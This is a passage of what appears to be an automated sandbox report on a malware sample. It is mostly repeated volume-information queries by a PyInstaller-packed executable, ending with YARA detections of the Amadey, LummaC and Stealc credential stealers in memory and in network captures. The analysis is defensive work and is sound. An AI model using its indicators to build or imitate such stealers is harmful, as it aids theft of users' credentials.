Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\_socket.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\select.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\_lzma.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyexpat.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\pyinstaller-4.9.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI79282\altgraph-0.17.2.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C6EA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C638390 NSS_GetVersion,

0_2_6C638390

Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 17.2.skotes.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.FHCGCAAKJD.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2701809215.0000000000071000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2701812100.0000000000071000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3320333339.0000000000071000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2664934156.0000000000241000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 0eb65aaf2f.exe PID: 7308, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000017.00000003.3253234338.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2627096848.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2628818286.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3311695557.0000000000301000.00000040.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2059366246.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8b4f365c71.exe PID: 3924, type: MEMORYSTR
